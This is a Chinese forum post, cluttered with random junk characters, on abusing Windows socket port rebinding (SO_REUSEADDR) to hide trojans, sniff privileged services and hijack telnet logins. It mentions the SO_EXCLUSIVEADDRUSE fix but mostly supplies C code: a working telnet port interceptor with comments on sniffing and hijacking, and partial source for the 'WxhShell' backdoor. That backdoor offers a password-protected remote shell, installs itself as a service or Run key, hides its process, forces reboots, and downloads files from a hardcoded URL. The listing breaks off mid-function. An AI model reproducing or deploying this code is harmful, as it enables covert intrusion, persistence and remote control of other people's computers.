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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lko3]A3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sD2Qm  
S)Mby  
  saddr.sin_family = AF_INET; zKMv7;s?  
$Q ffrU'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T>5wQYh$'  
)|:8zDuJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P2QRvn6v  
s kY0\V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *vD/(&pQ1:  
i&pMF O  
  这意味着什么?意味着可以进行如下的攻击: >vxWx[fRu  
!p"Kd ~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _KxX&THaj  
n4R]+&*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C\/b~HU  
}Fz!6F2w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'Ye]eL,I\  
GJ>ypEWo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  - BjEL;  
fGo_NB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YpiRF+G  
_rG-#BKW8L  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DbQBVy  
Iw*C*%}[Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L*IU0Jy>  
eoC<a"bJ>  
  #include eA10xpM0  
  #include W*3o|x   
  #include qjzZ}  
  #include    a0)vvo=bz  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '&/(oJ ;O~  
  int main() <BQ%8}  
  { PQQgDtiH  
  WORD wVersionRequested; {.cB>L  
  DWORD ret; 83B\+]{hD  
  WSADATA wsaData; LuLy6]6D;  
  BOOL val; D`8E-Bq  
  SOCKADDR_IN saddr; ^?#@[4?"  
  SOCKADDR_IN scaddr; +OKA_b"wB  
  int err; l(.7t'  
  SOCKET s; ]}5`7  
  SOCKET sc; $`ON!,oa  
  int caddsize; ?Z5$0-g'hU  
  HANDLE mt; oUCS |  
  DWORD tid;   ZjE~W>pkQ  
  wVersionRequested = MAKEWORD( 2, 2 ); Qb@BV&^y&  
  err = WSAStartup( wVersionRequested, &wsaData ); T3 =)F%  
  if ( err != 0 ) { w"yK\OE  
  printf("error!WSAStartup failed!\n"); W5TqC  
  return -1; _Wq7U1v`  
  }  n})  
  saddr.sin_family = AF_INET; )x y9X0  
   #@IQlqJfY7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \? J=mE@;1  
>3v0yh_3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (q055y  
  saddr.sin_port = htons(23); }o~Tw?z-|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~_ (!}V  
  { 0m qS A  
  printf("error!socket failed!\n"); >:="?'N5l!  
  return -1; w;@`Yi.WQ  
  } h<t<]i'  
  val = TRUE; \ro~-n+o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rjfc.l#v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =9#i<te  
  { I #Arr#%  
  printf("error!setsockopt failed!\n"); f:)]FHPB1  
  return -1; #1gTpb+t  
  } aMe%#cLI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OFJJ-4[_3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0]f?Dx/8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c`Lpqs`  
b#bO=T$e-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lsTe*Od  
  { cuJ / Vc  
  ret=GetLastError(); x'VeL|  
  printf("error!bind failed!\n"); 5<0Yh#_  
  return -1; H J2O@e  
  } "a2H8x  
  listen(s,2); 2d,wrC<'$  
  while(1) BN bb&]  
  { I_{9eG1w?  
  caddsize = sizeof(scaddr); 2nOe^X!*  
  //接受连接请求 Iwd"f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2}W6{T'  
  if(sc!=INVALID_SOCKET) l%vhV&  
  { L>|A6S#y8/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G5C#i7cpm  
  if(mt==NULL) Pj^k pjV  
  { -M(58/y  
  printf("Thread Creat Failed!\n"); XF0*d~4  
  break; "'LOaf$X  
  } |2+c DR  
  } ^+YGSg7  
  CloseHandle(mt); ]7Xs=>"Iw  
  } m"k i*9]  
  closesocket(s);  Wl}G[>P  
  WSACleanup(); _ ;v _L  
  return 0; >Kqj{/SWK  
  }   @idp8J [td  
  DWORD WINAPI ClientThread(LPVOID lpParam) pD)/- Dgdm  
  { Lt ZWs0l0  
  SOCKET ss = (SOCKET)lpParam; lVO(9sl*i  
  SOCKET sc; )Q N=>J  
  unsigned char buf[4096]; xfZ9&g  
  SOCKADDR_IN saddr; 3n=cw2FG  
  long num;  Q}`2Y^.  
  DWORD val; h_}BmJh_  
  DWORD ret; lqwJ F &  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ce-m)o/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (,Zz&3 AV  
  saddr.sin_family = AF_INET; +=lcN~U2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YQw/[  
  saddr.sin_port = htons(23); n$Oky-P"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HEW9YC"  
  { &dHm!b  
  printf("error!socket failed!\n"); pu m9x)y1  
  return -1; %d~9at6-B  
  } jTxChR  
  val = 100; 88X*:Kf?:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^Xz`hR   
  { hwb(W?*  
  ret = GetLastError(); /m|&nl8"qe  
  return -1; V-o`L`(F`  
  } d}A2I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e#Zf>hlAz  
  { 5d>YE  
  ret = GetLastError(); d1LTyzLr  
  return -1; >@92K]J  
  } 4wEpyQ|L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Yi! >8  
  { 7Q4Pjc D  
  printf("error!socket connect failed!\n"); F<'l'AsC-  
  closesocket(sc); 3qwYicq,  
  closesocket(ss); Jb-QP'$@  
  return -1; 6 GevO3  
  } DcvmeGl  
  while(1) X;[zfEB  
  { M5bj |tQ4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %emPSBf@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ucm.~1G(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;ZW}47:BS6  
  num = recv(ss,buf,4096,0); q.K$b  
  if(num>0) i(qYyO'  
  send(sc,buf,num,0); U=<.P;+f9  
  else if(num==0) W1,L>Az^Ts  
  break; ~{tZ;YZ  
  num = recv(sc,buf,4096,0); N[D\@o  
  if(num>0) ("@V{<7(t  
  send(ss,buf,num,0); ,0u0 '  
  else if(num==0) FZI 4?YD?<  
  break; C36.UZoc  
  } X;a{JjN  
  closesocket(ss); Hbj:CViYq  
  closesocket(sc); >^)5N<t?  
  return 0 ; jtOsb91c}  
  } <("w'd}  
(6y3"cbe  
~rfjQPbh9x  
========================================================== (+v*u]w4  
;77o%J'l  
下边附上一个代码,,WXhSHELL .F$AmVTN  
uTloj .  
========================================================== 8`?j*FV7kq  
2g8P$+;  
#include "stdafx.h" 1X}Tp\e  
l,2z5p  
#include <stdio.h> }EG(!)u  
#include <string.h> %H~gN9Vn#@  
#include <windows.h> NjyIwo0  
#include <winsock2.h> MOeLphY  
#include <winsvc.h> YD.^\E4o  
#include <urlmon.h> ZvKMRW  
;l4 \^E1  
#pragma comment (lib, "Ws2_32.lib") 6OW-Dif^AG  
#pragma comment (lib, "urlmon.lib") `GWq3c5  
_Cs}&Bic_  
#define MAX_USER   100 // 最大客户端连接数 T1di$8  
#define BUF_SOCK   200 // sock buffer beR)8sC3q  
#define KEY_BUFF   255 // 输入 buffer d iLl>z  
?YykCJJ ~@  
#define REBOOT     0   // 重启 Oo .Qz   
#define SHUTDOWN   1   // 关机 meD (ja  
{EN@,3bA  
#define DEF_PORT   5000 // 监听端口 *g6o ;c  
Czxrn2p/  
#define REG_LEN     16   // 注册表键长度 sYP@>tHC  
#define SVC_LEN     80   // NT服务名长度 xA E@cwg  
bD-Em#>  
// 从dll定义API f)P /@rh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yE9.]j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gQDK?aQX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *?"{T;4u~O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kweTK]mT  
K7VG\Ec  
// wxhshell配置信息 ~B\:  
struct WSCFG { gI3rF=  
  int ws_port;         // 监听端口 {3Wc<&D C1  
  char ws_passstr[REG_LEN]; // 口令 ]<LU NxBR  
  int ws_autoins;       // 安装标记, 1=yes 0=no n"Vd"}sU.  
  char ws_regname[REG_LEN]; // 注册表键名 _If?&KJ r  
  char ws_svcname[REG_LEN]; // 服务名 c/U6K yiK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +N@F,3yNa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a $%[!vF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !17Z\Ltqyj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no elB 8   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~`H<sJ?9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :L0W"$  
db~:5#*  
}; V,5}hQJ F  
3~la/$?p0  
// default Wxhshell configuration e6'O,\  
struct WSCFG wscfg={DEF_PORT, f|0QN#$  
    "xuhuanlingzhe", LS;anNk@.}  
    1, ]l%.X7M9  
    "Wxhshell", Ti'kn{ Zv  
    "Wxhshell", EPRs%(w`  
            "WxhShell Service", <DS6-y  
    "Wrsky Windows CmdShell Service", hspg-|R  
    "Please Input Your Password: ", >6+K"J-@  
  1, efR$s{n!  
  "http://www.wrsky.com/wxhshell.exe", o hlVc%a  
  "Wxhshell.exe" f tDV3If  
    }; .YF-t`{  
<LN$[&f#  
// 消息定义模块 yRkMR$5&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *xP:7K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1bkUT_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UUqj?'Nv  
char *msg_ws_ext="\n\rExit."; W<o0Z OO  
char *msg_ws_end="\n\rQuit."; Beg5[4@  
char *msg_ws_boot="\n\rReboot..."; Kf~+jYobO  
char *msg_ws_poff="\n\rShutdown..."; qw1J{xoHW  
char *msg_ws_down="\n\rSave to "; [CX?Tt  
k^jCB>b  
char *msg_ws_err="\n\rErr!"; 9YhsJ~"Q  
char *msg_ws_ok="\n\rOK!"; U$uO%:4%  
{m:R v&T  
char ExeFile[MAX_PATH]; G|_aU8b|t  
int nUser = 0; wP?q5r5  
HANDLE handles[MAX_USER]; =U2n"du  
int OsIsNt; #" -^;Z  
)n@3@NV  
SERVICE_STATUS       serviceStatus; ]5/U}Um  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b%j:-^0V  
vy2aNUmt  
// 函数声明 =]"|x7'!  
int Install(void); dC#\ut%l  
int Uninstall(void); vW3ZuB  
int DownloadFile(char *sURL, SOCKET wsh); DjvgKy=Jr_  
int Boot(int flag); 7!w nx.  
void HideProc(void); a=VT|CX[  
int GetOsVer(void); 'U$VO q?!  
int Wxhshell(SOCKET wsl); `wd*&vl  
void TalkWithClient(void *cs); uf] $@6)  
int CmdShell(SOCKET sock); [S+-ovl  
int StartFromService(void); Z]\^.x9S  
int StartWxhshell(LPSTR lpCmdLine); =A 6O}0z  
L-{r*ccIW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i]%"s_l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m]q!y3  
-$ z"74  
// 数据结构和表定义 #!# X3j  
SERVICE_TABLE_ENTRY DispatchTable[] = N o\&~  
{ SJ^?D8  
{wscfg.ws_svcname, NTServiceMain}, N~_jiVD>  
{NULL, NULL} F@roQQu  
}; de{YgN  
? 4Juw?  
// 自我安装 [;YBX] t  
int Install(void) s/H"Ab  
{ UVUO}B@[S  
  char svExeFile[MAX_PATH]; IF}c*uGj}  
  HKEY key; [=3tAPpzK  
  strcpy(svExeFile,ExeFile); fO!O" D5  
aZGDtzNG5h  
// 如果是win9x系统,修改注册表设为自启动 g_c)Ts(  
if(!OsIsNt) { Jd"s~n<>K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [ c[MQA0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?QT"sj64w  
  RegCloseKey(key); NVWeJ+w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '?3z6%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HKN"$(Q  
  RegCloseKey(key); f,inQ2f}d  
  return 0; 3N0X?* (x|  
    } )pn7DIXG  
  } @Qjl`SL%O^  
} _D,f 4.R  
else { kDl4t]j  
_s-HlE?C  
// 如果是NT以上系统,安装为系统服务 G_N-}J>EP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q}v04Yy,o  
if (schSCManager!=0) [*{\R`M  
{ |$?Ux,(6  
  SC_HANDLE schService = CreateService \"`>-v"h  
  ( X+E\]X2  
  schSCManager, j*~dFGl)  
  wscfg.ws_svcname,  |iUfM3  
  wscfg.ws_svcdisp, >dvWa-rNUT  
  SERVICE_ALL_ACCESS, t^_{5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , skD k/-*R  
  SERVICE_AUTO_START, Y!1^@;)^  
  SERVICE_ERROR_NORMAL, '}pgUh_  
  svExeFile, }A)36  
  NULL, !:O/|.+Vmf  
  NULL, /.kna4k  
  NULL, <_a70"i  
  NULL, Xtu`5p_Qv  
  NULL q?-3^z%u  
  ); hp]ng!I{\u  
  if (schService!=0) >6l;/J  
  { VXc+Wm*W  
  CloseServiceHandle(schService); Cs[7% j  
  CloseServiceHandle(schSCManager); *&dW\fx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H (NT|  
  strcat(svExeFile,wscfg.ws_svcname); x\J;ZiWwW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (4 /]dTb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hLytKPgt  
  RegCloseKey(key); *)`kx   
  return 0; JXLWRe  
    } ',H$zA?i  
  } gF,[u  
  CloseServiceHandle(schSCManager); *bxJ)9B  
} S\3AW,c]w  
} I)XOAf$6  
fZ6 fV=HEF  
return 1; $vTAF-~Ql  
} eN]>l  
JIP+ !2  
// 自我卸载 ne"?90~  
int Uninstall(void) O@r.>  
{ o4/I1Mq  
  HKEY key; '6o`^u>  
p]h*6nH>~  
if(!OsIsNt) { ;J(rw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0eqi1;$b]  
  RegDeleteValue(key,wscfg.ws_regname); aVppOxA  
  RegCloseKey(key); 8Q^6ibE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~&DB!6*  
  RegDeleteValue(key,wscfg.ws_regname); b.R!2]T]i^  
  RegCloseKey(key); *^@#X-NG  
  return 0; crJ7pe9  
  } ~[| V3h4v  
} $!|8g`Tm  
} -t@y\vZF,  
else { lh\ICN\O  
't|Un G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '?"t<$b  
if (schSCManager!=0) ([,vX"4  
{ Lj&1K~U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;-KA UgL2  
  if (schService!=0) D!bKm[T  
  { %@}o'=[  
  if(DeleteService(schService)!=0) { qIbg 4uE  
  CloseServiceHandle(schService); m]FaEQVoE  
  CloseServiceHandle(schSCManager); pg~zUOY  
  return 0; gppBFS  
  } bA@ /B'  
  CloseServiceHandle(schService); PIZ C;K4|  
  } M.ZEqV+k  
  CloseServiceHandle(schSCManager); V$/u  
} ,vPe}OKj  
} =\~E n5  
r]A" Og_U  
return 1; b8J @K"  
} =X-^YG3x  
L`9TB"0R+  
// 从指定url下载文件 7 I_1 #O  
int DownloadFile(char *sURL, SOCKET wsh) yicO!:bM  
{ YfE>Pn'r  
  HRESULT hr; qbS'|--wH  
char seps[]= "/"; k? 3S  
char *token; }.0Bl&\UK  
char *file; d"#gO,H0  
char myURL[MAX_PATH]; XB0a dp  
char myFILE[MAX_PATH]; $.H:8^W  
ipG5l  
strcpy(myURL,sURL); wgCvD  
  token=strtok(myURL,seps); SnYLdwgl  
  while(token!=NULL) E[^ {w  
  { 9RWkm%?  
    file=token; nA~E "*  
  token=strtok(NULL,seps); C -?!S  
  } .uEPnzi  
7jJbo]&  
GetCurrentDirectory(MAX_PATH,myFILE); ILic.@st  
strcat(myFILE, "\\"); n\ Hs@.  
strcat(myFILE, file); u@3y&b  
  send(wsh,myFILE,strlen(myFILE),0); $.:mai  
send(wsh,"...",3,0); d;+[i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =-o'gL  
  if(hr==S_OK) Ou>vX[{  
return 0; cGwf!hA  
else W8g' lqc|  
return 1; 8_!.!Kde |  
q-Qxbg[>e  
} 4R8G&8b  
emW:C-/h/@  
// 系统电源模块 WX4;l(P L=  
int Boot(int flag) :5yV.7  
{ ,]5Ic.};p  
  HANDLE hToken; /(8a~f&%r  
  TOKEN_PRIVILEGES tkp; > MG>=A  
.6~`Ubr}E  
  if(OsIsNt) { }Up.){.%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }!i` 0p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Em7 WDu0  
    tkp.PrivilegeCount = 1; Xq4|uuS-O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Xe+,wW3YF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ac|5. ?|N  
if(flag==REBOOT) { U,Mx@KdV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AddeaB5<  
  return 0; *{o UWt  
} H7[6yh  
else { J`*iZvW#Bx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lHB) b}7E  
  return 0; _e!F~V.  
} u? fTL2~  
  } dr q hQ  
  else { 26n^Dy>}  
if(flag==REBOOT) { Yct5V,X^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S|B$c E  
  return 0; |3? 8)z\n  
} 4Tct  
else { @uH#qg7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FP"$tt(  
  return 0; V,ZY*f0  
} q|)Q9+6$+  
} ,572n[-q  
VzlDHpG  
return 1; 6*@yE  
} 7L:7/  
 O3NWXe<  
// win9x进程隐藏模块 `3q;~ 9  
void HideProc(void) _w ]4~V9  
{ La[K!u\B  
;,O fJ'q^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C0x "pO7  
  if ( hKernel != NULL ) "?.~/@  
  { P(omfD4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kVDe6},D7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R,@g7p  
    FreeLibrary(hKernel); 1QJBb \  
  } Ps R>V)L  
J0220 _  
return; BC\S/5~k  
} `^U&#K  
b*,3< 9  
// 获取操作系统版本 *9gD*AnM,  
int GetOsVer(void) u2sR.%2U<  
{ %3Bpn=k>  
  OSVERSIONINFO winfo; ^~ L}<]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kB\kpW  
  GetVersionEx(&winfo); v@u<Ww;=@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) msk/p>{O  
  return 1; 8TZENRzx-|  
  else $EBb"+Y'T  
  return 0; (B`sQw@tu  
} W."f 8ow  
Yr&Ka:  
// 客户端句柄模块 _dU P7H (  
int Wxhshell(SOCKET wsl) ( v#pj8aE  
{ oO=o|w|T  
  SOCKET wsh; z \?UGxu}  
  struct sockaddr_in client; ?~2Bi^W5  
  DWORD myID; E8/rZ~0O~  
N\R=cwk  
  while(nUser<MAX_USER) V,LVB_6  
{ R,Ml&4pZ}  
  int nSize=sizeof(client); @"1}16b#f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bsO@2NP'  
  if(wsh==INVALID_SOCKET) return 1; WD?Jk9_F  
Jyu`-=It  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6[==BbZ  
if(handles[nUser]==0) zLek& s&-  
  closesocket(wsh); ^g!B.ll`  
else ~b8a^6:R"  
  nUser++; %2yAvGa1  
  } &=-PRza%j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S;}qLjT  
En5!"w|j  
  return 0; Bxv8RB  
} 4r*Pa(;y  
'TX M{RGw  
// 关闭 socket QHQj/)J8  
void CloseIt(SOCKET wsh) ]P*!'iYN(  
{ 0>Fqx{!heq  
closesocket(wsh); R$xY8+}V  
nUser--; |s`Kd-'|q  
ExitThread(0); 5<N~3 1z  
} j) 6G7T|  
~V$ f #X  
// 客户端请求句柄 eU~?p|Np  
void TalkWithClient(void *cs) t F/nah  
{ T~:_}J  
K\X: G-C9  
  SOCKET wsh=(SOCKET)cs; <bX 1,}?  
  char pwd[SVC_LEN]; lJj&kVHb  
  char cmd[KEY_BUFF]; `Qq/ F]  
char chr[1]; R HXvee55  
int i,j; {]M>Y%j48  
6J;i,/ky  
  while (nUser < MAX_USER) { <_f`$z  
_ _ =s'  
if(wscfg.ws_passstr) { &(0N.=R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^;64!BaK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ni0LQuBp  
  //ZeroMemory(pwd,KEY_BUFF); xSOoIsL[  
      i=0; p5`ZyD ]+  
  while(i<SVC_LEN) { &oc_ a1 R  
SW=aHM  
  // 设置超时 b_mWu@$  
  fd_set FdRead; 1<ehV VP   
  struct timeval TimeOut; S[.5n]  
  FD_ZERO(&FdRead); :H3(w|T/  
  FD_SET(wsh,&FdRead); kDg{ >mf  
  TimeOut.tv_sec=8; <THUsY`3P&  
  TimeOut.tv_usec=0; 1:YAn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z0;9SZ9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W60Q3  
{a@hRY_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L77EbP`P  
  pwd=chr[0]; -Y2&A$cM  
  if(chr[0]==0xd || chr[0]==0xa) { B%y! aQep  
  pwd=0; N[]U%9[=2F  
  break; `:R-[>5P8  
  } ^^'[%ok  
  i++; Kf&r21h  
    } 9g4QVo|  
+&?'KZ+Z_v  
  // 如果是非法用户,关闭 socket j]#wrm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pB[%:w/@l:  
} I=K[SY,]9  
G+fd.~aGE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :(+]b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U* 4{"  
N]V/83_  
while(1) { OM1*Iy  
.r(^h/IF  
  ZeroMemory(cmd,KEY_BUFF); z?I+u* rF6  
Plb}dID"  
      // 自动支持客户端 telnet标准   }]tFz}E\  
  j=0; exsQmbj* %  
  while(j<KEY_BUFF) { #fO*ROe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >@z d\}@W  
  cmd[j]=chr[0]; 2(hvv-  
  if(chr[0]==0xa || chr[0]==0xd) { !W 0P `i<  
  cmd[j]=0; *ZX!EjICk  
  break; P_v0))n{  
  } NYGmLbq  
  j++; `B:B7Cpvn  
    } $+0=GN  
B<(Pd  
  // 下载文件  dD:  
  if(strstr(cmd,"http://")) { "^Y6ctw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #aj|vox}  
  if(DownloadFile(cmd,wsh)) U8EJC .e&O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <g] ou YHZ  
  else .@fK;/OuC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gg'<Q.H  
  } OiYNH~hv  
  else { a$~IQ2$|6  
G`9cd\^  
    switch(cmd[0]) { 'y'T'2N3  
  "w(N62z/  
  // 帮助 xX[?L9RGz  
  case '?': { ROPC |  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pk;ffq@  
    break; =X)Q7u".7  
  } I/oIcQS!k  
  // 安装 V h Z=,m  
  case 'i': { Rrh<mo(yj#  
    if(Install()) %~][?Y ><  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tx2Vyu  
    else W`w5jk'0^=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); unCt4uX^  
    break; -iY9GN89c  
    } \Oi5=,  
  // 卸载 R;0W+!fE  
  case 'r': { ?BWHr(J  
    if(Uninstall()) MZ;"J82p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b*btkaVue  
    else 9@$tiDV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %bCcsdK  
    break; sN6 0o 7.  
    } * i=?0M4S  
  // 显示 wxhshell 所在路径 Qw3a"k-  
  case 'p': { Z}sG3p  
    char svExeFile[MAX_PATH]; [ c ~LY4:  
    strcpy(svExeFile,"\n\r"); 8O"x;3I9  
      strcat(svExeFile,ExeFile); ,:0Q1~8  
        send(wsh,svExeFile,strlen(svExeFile),0); /Ki0+(4  
    break; ^U-vD[O8  
    } dNR7e   
  // 重启 zF[3%qZE:T  
  case 'b': { l-DGy#h+z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7V9%)%=h|  
    if(Boot(REBOOT)) _7-"Vo X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5W?yj>JR  
    else { s[0prm5.  
    closesocket(wsh); 1TK #eU  
    ExitThread(0); j\XX:uU_  
    } NYSj^k;^(z  
    break; Gk{ "O%AE  
    } %f_)<NP9=  
  // 关机 _9}x2uO~  
  case 'd': { |%M{k A-  
